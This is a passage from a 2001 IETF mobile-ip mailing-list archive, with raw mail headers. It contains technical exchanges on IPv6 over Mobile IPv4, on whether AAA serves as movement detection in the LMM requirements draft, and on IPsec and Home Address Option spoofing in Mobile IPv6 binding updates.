Cc: "'pcalhoun@bstromnetworks.com'" <pcalhoun@bstromnetworks.com>
Subject: [mobile-ip] IPv6 over Mobile IPv4
Date: Wed, 21 Nov 2001 16:54:24 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2654.52)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Hello All,

Till the time Mobile IPv6 issues are sorted out, this draft seems to be a
feasible solution. What's happening with this draft ?

I had a issue regarding the draft. As mentioned in the draft, why do we need
a dual stack both on the MN and the FA. If MN has the dual stack why can't
HA just tunnel the IPv6 packets in IPv4 tunnels to the MN (double IPv4
tunneling from HA to FA). FA just opens outer encapsulation and forwards the
packet based on the HA's IPv4 address and MN's IPv4 address. Anyway as
mentioned in the draft a private IPv4 address is assigned to the MN. That
way even FA is not changed..

Thanks,
Mukesh.


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 18:00:54 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA12440
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 18:00:53 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA23775;
	Wed, 21 Nov 2001 15:59:39 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA26689;
	Wed, 21 Nov 2001 14:59:48 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALMxBLS009183
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:59:11 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALMxBJR009182
	for mobile-ip-dist; Wed, 21 Nov 2001 14:59:11 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALMx7LS009175
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:59:07 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA28602
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:59:07 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA23278
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:58:49 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id OAA08938
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:59:06 -0800 (PST)
X-Delivered-For: <mobile-ip@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fALMx6318318
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:59:06 -0800
X-mProtect:  Wed, 21 Nov 2001 14:59:06 -0800 Nokia Silicon Valley Messaging Protection
Received: from jmalinen.iprg.nokia.com (205.226.2.98)
	by darkstar.iprg.nokia.com(P1.5 smtpdrLRxcE; Wed, 21 Nov 2001 14:59:04 PST
Received: from iprg.nokia.com (localhost [127.0.0.1]) by jmalinen.iprg.nokia.com (8.9.3/8.6.12) with ESMTP id OAA89276 for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:59:04 -0800 (PST)
Message-ID: <3BFC31B8.2F5F1ABC@iprg.nokia.com>
Date: Wed, 21 Nov 2001 14:59:04 -0800
From: "Jari T. Malinen" <jmalinen@iprg.nokia.com>
Organization: Nokia
X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
References: <4DA6EA82906FD511BE2F00508BCF053801C4C08F@Esealnt861.al.sw.ericsson.se>
		<12d001c172bb$62709240$686015ac@docomocarl>
		<3BFC19CE.54139FE0@iprg.nokia.com>
		<3BFC1E27.AB32C653@iprg.nokia.com>
		<15356.8800.970575.517533@thomasm-u1.cisco.com>
		<3BFC2A97.95F6A11C@iprg.nokia.com> <15356.11481.478969.982772@thomasm-u1.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Mike,

I agree with you, AAA is not a movement detection
mechanism. Instead of "such as AAA" one could
say "such as one provided by protocols indicating
network capabilities. Such protocols could include
Neighbor Discovery, Candidate Access Router protocol,
or AAA".

Or maybe you can come up with some suitable
examples since there are opinions LMM itself should
not contain movement detection?

BR,

-Jari

Michael Thomas wrote:
> 
> I'm making no point whatsoever on the whole draft,
> nor can I see how my comment would be taken as
> such. Nor have I ascribed blame on you or anybody
> else, as I have no idea who wrote the paragraph
> that was quoted. I'm simply pointing out that AAA
> seems like a very weird example of what
> could/should be used as a movement detection
> mechanism. As for better wording, I'd suggest that
> any mention of AAA in that capacity should just be
> deleted from the text of the requirements.
> 
>              Mike
> 
> Cedric Westphal writes:
>  > Mike,
>  >
>  > Michael Thomas wrote:
>  >
>  > > Cedric Westphal writes:
>  >
>  > something that conveniently got omitted to make a point. Please do
>  > not use the so-called 'projector' technique, where you point at one
>  > detail to cast doubts on the validity of the whole. The professional
>  > attitude, as well as the common etiquette on IETF mailing lists, is to
>  > at least mention (with a *snip* or equivalent) that you cut something
>  > from the exchange.
>  >
>  > >
>  > >  > 3.5.4 Movement detection
>  > >  >
>  > >  > Any LMM mechanism MUST contain or make use of a mechanism that provides
>  > >  > movement detection between separate visited domains. Movement detection
>  > >  > allows a MN to identify that it has moved to a new LM domain, and to perform
>  > >  > registration in the new LM domain. LMM mechanism SHOULD interwork with
>  > >  > a default movement detection mechanism, such as AAA.
>  > >
>  > >    AAA?!?
>  > >
>  > >    AAA isn't a movement detection mechanism, nor should it be
>  > >    used as one. That's a *very* bell shaped view of the world.
>  >
>  > You can blame me as much as you care, the mention of AAA comes from the
>  > original 3.5.4 Movement detection paragraph in the draft. By the way, Mike,
>  > if you have some better wording to offer, please do so.
>  >
>  > Cedric.
>  >
>  > >
>  >
>  > >
>  > >
>  > >            Mike
>  >


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 18:02:15 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA12532
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 18:02:15 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA17632;
	Wed, 21 Nov 2001 15:01:01 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA27066;
	Wed, 21 Nov 2001 15:00:52 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALN08LS009209
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:00:08 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALN08Fp009208
	for mobile-ip-dist; Wed, 21 Nov 2001 15:00:08 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALN04LS009201
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:00:04 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA28765
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:00:04 -0800 (PST)
Received: from netmail.alcatel.com (netmail.alcatel.com [128.251.168.50])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA21902
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:00:03 -0800 (PST)
Received: from auds953.usa.alcatel.com (auds953.usa.alcatel.com [143.209.238.6])
	by netmail.alcatel.com (8.9.1/8.9.1) with ESMTP id RAA08707
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 17:00:03 -0600 (CST)
Received: from alcatel.com (localhost [127.0.0.1])
	by auds953.usa.alcatel.com (8.10.2/8.10.2) with ESMTP id fALN02N04358
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 17:00:02 -0600 (CST)
Message-ID: <3BFC3264.D8A714B7@alcatel.com>
Date: Wed, 21 Nov 2001 17:01:56 -0600
From: Behcet Sarikaya <behcet.sarikaya@alcatel.com>
Organization: Alcatel USA
X-Mailer: Mozilla 4.75 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
References: <4DA6EA82906FD511BE2F00508BCF053801C4C08F@Esealnt861.al.sw.ericsson.se>
		<12d001c172bb$62709240$686015ac@docomocarl>
		<3BFC19CE.54139FE0@iprg.nokia.com>
		<3BFC1E27.AB32C653@iprg.nokia.com>
		<15356.8800.970575.517533@thomasm-u1.cisco.com>
		<3BFC2A97.95F6A11C@iprg.nokia.com> <15356.11481.478969.982772@thomasm-u1.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Mike,
  Carl's draft  at
http://ietf.org/internet-drafts/draft-ietf-mobileip-lmm-requirements-00.txt
talks about DOMAIN movement, in this context AAA makes sense I think.


Regards,

Michael Thomas wrote:

> I'm making no point whatsoever on the whole draft,
> nor can I see how my comment would be taken as
> such. Nor have I ascribed blame on you or anybody
> else, as I have no idea who wrote the paragraph
> that was quoted. I'm simply pointing out that AAA
> seems like a very weird example of what
> could/should be used as a movement detection
> mechanism. As for better wording, I'd suggest that
> any mention of AAA in that capacity should just be
> deleted from the text of the requirements.
>
>              Mike
>
> Cedric Westphal writes:
>  > Mike,
>  >
>  > Michael Thomas wrote:
>  >
>  > > Cedric Westphal writes:
>  >
>  > something that conveniently got omitted to make a point. Please do
>  > not use the so-called 'projector' technique, where you point at one
>  > detail to cast doubts on the validity of the whole. The professional
>  > attitude, as well as the common etiquette on IETF mailing lists, is to
>  > at least mention (with a *snip* or equivalent) that you cut something
>  > from the exchange.
>  >
>  > >
>  > >  > 3.5.4 Movement detection
>  > >  >
>  > >  > Any LMM mechanism MUST contain or make use of a mechanism that provides
>  > >  > movement detection between separate visited domains. Movement detection
>  > >  > allows a MN to identify that it has moved to a new LM domain, and to perform
>  > >  > registration in the new LM domain. LMM mechanism SHOULD interwork with
>  > >  > a default movement detection mechanism, such as AAA.
>  > >
>  > >    AAA?!?
>  > >
>  > >    AAA isn't a movement detection mechanism, nor should it be
>  > >    used as one. That's a *very* bell shaped view of the world.
>  >
>  > You can blame me as much as you care, the mention of AAA comes from the
>  > original 3.5.4 Movement detection paragraph in the draft. By the way, Mike,
>  > if you have some better wording to offer, please do so.
>  >
>  > Cedric.
>  >
>  > >
>  >
>  > >
>  > >
>  > >            Mike
>  >

--
Behcet



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 18:07:14 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA12741
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 18:07:13 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA27854;
	Wed, 21 Nov 2001 16:05:46 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA29974;
	Wed, 21 Nov 2001 15:05:51 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALN4xLS009462
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:04:59 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALN4xjN009461
	for mobile-ip-dist; Wed, 21 Nov 2001 15:04:59 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALN4uLS009454
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:04:56 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA27777
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:04:56 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA27010
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:04:38 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id PAA09333
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:04:55 -0800 (PST)
X-Delivered-For: <mobile-ip@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fALN4sN25835
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:04:54 -0800
X-mProtect:  Wed, 21 Nov 2001 15:04:54 -0800 Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (172.18.5.64, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdRaP1v4; Wed, 21 Nov 2001 15:04:51 PST
Message-ID: <3BFC3310.30471E0@iprg.nokia.com>
Date: Wed, 21 Nov 2001 15:04:48 -0800
From: Cedric Westphal <cedric@iprg.nokia.com>
Organization: NOKIA
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
References: <4DA6EA82906FD511BE2F00508BCF053801C4C08F@Esealnt861.al.sw.ericsson.se>
		<12d001c172bb$62709240$686015ac@docomocarl>
		<3BFC19CE.54139FE0@iprg.nokia.com>
		<3BFC1E27.AB32C653@iprg.nokia.com>
		<15356.8800.970575.517533@thomasm-u1.cisco.com>
		<3BFC2A97.95F6A11C@iprg.nokia.com> <15356.11481.478969.982772@thomasm-u1.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit


Michael Thomas wrote:

> I'm making no point whatsoever on the whole draft,

Mike,

nor do I say you are making a point on the whole draft.
By mentioning the _whole_ draft, you are making a general
comment out of a particular comment. If you tweak the
premisse of a particular point into a general point, of course
the conclusions won't hold.

>
> nor can I see how my comment would be taken as
> such.

See, how could it be taken as such, as no one said it would?

> Nor have I ascribed blame on you or anybody
> else, as I have no idea who wrote the paragraph
> that was quoted.

Authorship of said paragraph (mine) was in the line _before_ said paragraph.
Please add a disclaimer in your comments in the future saying that
your comment focuses on what you kept, and what you cut out you
disregarded. People in this list might assume you comment on the whole email,
and might not understand where you are coming from.

Cedric.

> I'm simply pointing out that AAA
> seems like a very weird example of what
> could/should be used as a movement detection
> mechanism. As for better wording, I'd suggest that
> any mention of AAA in that capacity should just be
> deleted from the text of the requirements.
>
>              Mike
>
> Cedric Westphal writes:
>  > Mike,
>  >
>  > Michael Thomas wrote:
>  >
>  > > Cedric Westphal writes:
>  >
>  > something that conveniently got omitted to make a point. Please do
>  > not use the so-called 'projector' technique, where you point at one
>  > detail to cast doubts on the validity of the whole. The professional
>  > attitude, as well as the common etiquette on IETF mailing lists, is to
>  > at least mention (with a *snip* or equivalent) that you cut something
>  > from the exchange.
>  >
>  > >
>  > >  > 3.5.4 Movement detection
>  > >  >
>  > >  > Any LMM mechanism MUST contain or make use of a mechanism that provides
>  > >  > movement detection between separate visited domains. Movement detection
>  > >  > allows a MN to identify that it has moved to a new LM domain, and to perform
>  > >  > registration in the new LM domain. LMM mechanism SHOULD interwork with
>  > >  > a default movement detection mechanism, such as AAA.
>  > >
>  > >    AAA?!?
>  > >
>  > >    AAA isn't a movement detection mechanism, nor should it be
>  > >    used as one. That's a *very* bell shaped view of the world.
>  >
>  > You can blame me as much as you care, the mention of AAA comes from the
>  > original 3.5.4 Movement detection paragraph in the draft. By the way, Mike,
>  > if you have some better wording to offer, please do so.
>  >
>  > Cedric.
>  >
>  > >
>  >
>  > >
>  > >
>  > >            Mike
>  >



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 18:18:37 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA13006
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 18:18:36 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA22048;
	Wed, 21 Nov 2001 15:18:12 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA02429;
	Wed, 21 Nov 2001 15:18:03 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALNHBLS010475
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:17:11 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALNHBl4010474
	for mobile-ip-dist; Wed, 21 Nov 2001 15:17:11 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALNH6LS010456
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:17:06 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA02253;
	Wed, 21 Nov 2001 15:17:06 -0800 (PST)
Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA00497;
	Wed, 21 Nov 2001 15:17:06 -0800 (PST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id fALNH6l11303;
	Wed, 21 Nov 2001 15:17:06 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAJ56381;
	Wed, 21 Nov 2001 15:16:30 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id PAA23163; Wed, 21 Nov 2001 15:17:05 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15356.13809.317900.9805@thomasm-u1.cisco.com>
Date: Wed, 21 Nov 2001 15:17:05 -0800 (PST)
To: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Cc: Michael Thomas <mat@cisco.com>, mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Additional comments on   draft-arkko-mipv6-bu-security-00.txt
In-Reply-To: <Roam.SIMC.2.0.6.1006365051.8687.nordmark@bebop.france>
References: <15355.54993.647755.189495@thomasm-u1.cisco.com>
	<Roam.SIMC.2.0.6.1006365051.8687.nordmark@bebop.france>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Erik Nordmark writes:
 > > Thus, it seems to me that the identity is linked
 > > pretty closely to the actual presented IP address.
 > 
 > Yes, once you have created the SPD entry you've effectively tied whatever
 > cert or manual keying that was used to an IP address identity.

   Note that this isn't quite the same thing as saying that
   you "own" the address. It's more like saying "if you have
   this credential, I'll let you use this SPD
   entry which will allow the packet to advance".

 > But my concerns are how this relationship is established when using
 > certs in IKE (although I suspect IKE vs. son-of-IKE doesn't make a difference
 > here).

   Yes, I agree, this is an issue. For the Home
   Agent I don't think it's too much of a
   stretch make an equivalence class between the
   SPD entry and the binding update; it's sort of
   like saying that it blocks via access control
   all binding updates which aren't attached to
   a (authenticated) SPD entry. This allows it 
   to prevent hijackers of its subnet by putting
   up a barricade before the binding update
   manages to get to the soft squishy heart of
   binding management code.

   Now there's an interesting question of how
   that translates to a correspondent node that
   also wanted to use IPsec. I _suppose_ that 
   it could work equivalently, but I'd be a little 
   wary about it's scaling in the SPD. Of course,
   we're already wary about that, so maybe the
   answer is that it's left as an exercise to
   the developers who want that capability :-)
   
 > I think the existence proof of MIPv6 implementations based on
 > the I-D using IPsec indicates that this can be avoided - just
 > make sure that the SADB and SPD lookups occurs on the content of the
 > Home Address Option instead of source address.

   I don't think that RFC 2409 has any mention of
   HAO's, so what you're positing isn't what exists.

 > Doesn't IPsec VPNs with IPinIP tunneling work the same way with
 > the outer IP addresses ignored and the inner IP address used for lookups?
 > [Looking at my laptop VPN config as I type this it appears to not be the
 > case - the SADB entries are for the outer IP addresses. This is something
 > that needs to be understood for "hindsight" idea to use tunneling.]

   This is an interesting point. I forget which
   one it uses to filter on egress. It might even
   be both!
 
 > > So the question in my mind is why the CoA was
 > > chosen over the home address for the source of the
 > > IP packet from the mobile node. The main reason
 > > I've heard is to play well with RPF checks.
 > > However, recent discussion puts its utility in
 > > some doubt: even if I pass RPF checks, I could
 > > conceivably put any home address option I feel
 > > like in the HAO thus defeating source spoofing
 > > checking. Also: if the HAO needs to be bound to a
 > > particular binding update to prevent this, then I
 > > wonder why the HAO needs to be sent _at all_ since
 > > the binding cache could record the home address
 > > and do the substitution locally, rather than via
 > > the protocol.
 > 
 > I think it still needs to be sent for robustness. Without it certain
 > bugs like having the wrong HoA for a CoA will cause silent TCP checksum
 > errors. Thus explicitly checking and sending an ICMP error when
 > there is a mismatch is more robust. I think this is needed to allow the CN
 > to "loose" a BCE (garbage collect a BCE or crash+reboot)
 > and still be able to send a useful error message back.

   I think this needs to be discussed further
   because requiring a binding update to trust
   a Home Address option seems to imply that
   that your soft cached state of bindings is
   getting a lot harder. Ie, if my cache entry is
   evicted, the CN will stop honoring the HAO,
   which will also pooch TCP connections...

 > > So what's the punchline for the 1% of people still
 > > reading this? I think placing the CoA into the
 > > source address causes many unforseen problems and
 > > its stated goal of friendliness to RPF is
 > > trivially defeated given the current formulation.
 > 
 > Which we need to fix, right? Or are you assuming we can continue to
 > allow unverified HoA options?

   I'm not sure. The internet itself doesn't deal
   well with source spoofing, and RPF is an
   imperfect beast at best. It looks like all
   we've done with the HAO is move the problem
   around, so maybe we ought to consider the larger
   picture.

		Mike


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 18:20:38 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA13070
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 18:20:37 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA22538;
	Wed, 21 Nov 2001 15:19:38 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA02919;
	Wed, 21 Nov 2001 15:19:28 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALNIFLS010572
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:18:15 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALNIF3l010571
	for mobile-ip-dist; Wed, 21 Nov 2001 15:18:15 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALNIALS010556
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:18:10 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA02435
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:18:06 -0800 (PST)
Received: from EXCHANGE01.domain.ecutel.com ([65.201.154.134])
